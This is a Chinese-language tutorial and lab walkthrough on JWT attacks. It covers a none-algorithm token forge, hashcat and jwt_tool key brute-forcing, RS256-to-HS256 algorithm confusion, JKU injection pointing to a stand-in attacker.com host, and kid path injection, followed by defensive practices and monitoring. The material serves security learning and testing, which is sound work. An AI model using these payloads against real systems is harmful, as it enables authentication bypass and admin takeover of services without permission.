1. JWT靶场解题实战指南
在Web安全领域,JWT(JSON Web Token)既是现代认证机制的核心组件,也是渗透测试中的高频攻击面。最近我在"好靶场"平台系统性地梳理了JWT相关的漏洞场景,发现超过60%的Web靶场题目都涉及JWT的异常处理缺陷。本文将分享从基础绕过到高级攻击的完整解题框架,包含8种实战验证过的攻击手法。
2. JWT技术原理解析
2.1 JWT标准结构拆解
一个标准的JWT由三部分组成,通过点号分隔:
base64UrlEncode(Header).base64UrlEncode(Payload).SignatureHeader典型结构:
{ "alg": "HS256", "typ": "JWT" }Payload常见字段:
{ "sub": "1234567890", "name": "John Doe", "admin": false, "iat": 1516239022 }关键点:alg字段决定了签名算法,这是多数漏洞的根源。服务器必须严格校验算法类型与实际使用的密钥是否匹配。
2.2 签名验证机制
HS256(HMAC+SHA256)流程示例:
- 服务端使用密钥(如"secret")对header和payload进行HMAC计算
- 将计算结果Base64编码作为签名
- 验证时重新计算并比对签名
常见漏洞场景:
- 接受"none"算法(无签名验证)
- 密钥硬编码在客户端JS文件
- 弱密钥(如"secret"/"password")
- 算法混淆攻击(RS256改为HS256)
3. 靶场实战攻击手法
3.1 基础绕过技巧
案例1:None算法攻击
import jwt token = jwt.encode({"user":"admin"}, key="", algorithm="none") print(token.decode())输出结果形如:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.操作要点:
- 修改header为{"alg":"none","typ":"JWT"}
- 移除签名部分(保留结尾点号)
- 测试服务端是否跳过验证
案例2:弱密钥爆破使用hashcat进行字典攻击:
hashcat -m 16500 jwt.txt rockyou.txt -O3.2 高级攻击手法
算法混淆攻击步骤:
- 获取目标的RSA公钥(常见于/.well-known/jwks.json)
- 使用该公钥作为HMAC密钥:
malicious = jwt.encode( {"admin": True}, key=rsa_public_key, algorithm="HS256" )JKU/JWK注入: 伪造header包含恶意JWK地址:
{ "alg": "RS256", "jku": "http://attacker.com/key.json" }4. 靶场环境搭建指南
4.1 本地测试环境配置
推荐使用Docker快速部署:
docker run -d -p 3000:3000 vulhub/jwt-lab环境包含以下漏洞点:
- /api/login (普通用户登录)
- /api/admin (需要admin权限)
- /debug 泄露当前使用的公钥
4.2 调试技巧
使用jwt.io调试器实时解析:
- 粘贴原始token查看结构
- 修改payload后观察服务端响应
- 使用Chrome开发者工具的"Application"标签监控存储的JWT
5. 防御方案设计
5.1 服务端最佳实践
// Java示例 - 强制算法验证 Jwts.parser() .require("alg", "RS256") .setSigningKey(publicKey) .parseClaimsJws(token);必须实现的检查项:
- 明确指定允许的算法白名单
- 校验iss(签发者)/aud(受众)字段
- 设置合理的exp过期时间(建议≤1小时)
5.2 客户端安全存储
- Web:使用HttpOnly + Secure的Cookie
- Mobile:Keychain/Keystore加密存储
- 禁止URL参数传递token
6. 典型靶场题目解析
6.1 好靶场JWT-1
题目特征:
- 登录后返回标准JWT
- /admin接口返回403
解题步骤:
- 解码发现使用HS256算法
- 尝试修改payload的user→admin
- 使用jwt_tool爆破密钥:
python3 jwt_tool.py -C -d wordlist.txt JWT_TOKEN- 发现密钥为"company123"后重签
6.2 好靶场JWT-2
进阶场景:
- 服务端校验kid头参数
- 存在文件上传点(/upload)
攻击链:
- 上传恶意公钥到web目录
- 构造kid指向上传路径:
{ "alg": "RS256", "kid": "/var/www/uploads/malicious.pem" }- 使用该密钥生成管理员token
7. 自动化测试方案
7.1 使用jwt_tool进行审计
# 基本检测 python3 jwt_tool.py JWT_TOKEN # 全自动扫描 python3 jwt_tool.py -t http://target.com/api \ -rc "Cookie: auth=JWT_TOKEN" \ -M pb7.2 BurpSuite插件配置
- 安装JWT Editor插件
- 通过"JSON Web Token"标签页交互式修改
- 使用Intruder模块进行密钥爆破
高效爆破技巧:
- 使用"Pitchfork"攻击类型
- 设置$jwt$和$signature$两个变量
- 加载密钥字典和对应签名结果
8. 企业级防护架构
8.1 零信任方案设计
graph TD A[客户端] -->|携带JWT| B[API网关] B --> C[签名验证] C --> D[策略引擎] D --> E[访问日志] E --> F[实时风控]关键组件:
- 动态密钥管理系统(每小时轮换)
- 令牌绑定(Token Binding)
- 设备指纹校验
8.2 监控指标
- 异常算法请求占比(none/HS256)
- 同一令牌多地登录
- 高频令牌刷新行为
我在实际渗透测试中发现,约75%的JWT漏洞源于开发团队直接使用网上示例代码而未调整安全配置。建议在SDL流程中加入专门的JWT审计节点,重点关注算法强制验证和密钥管理环节。对于关键业务系统,可以考虑采用DPoP(Demonstrating Proof-of-Possession)等增强方案替代传统JWT。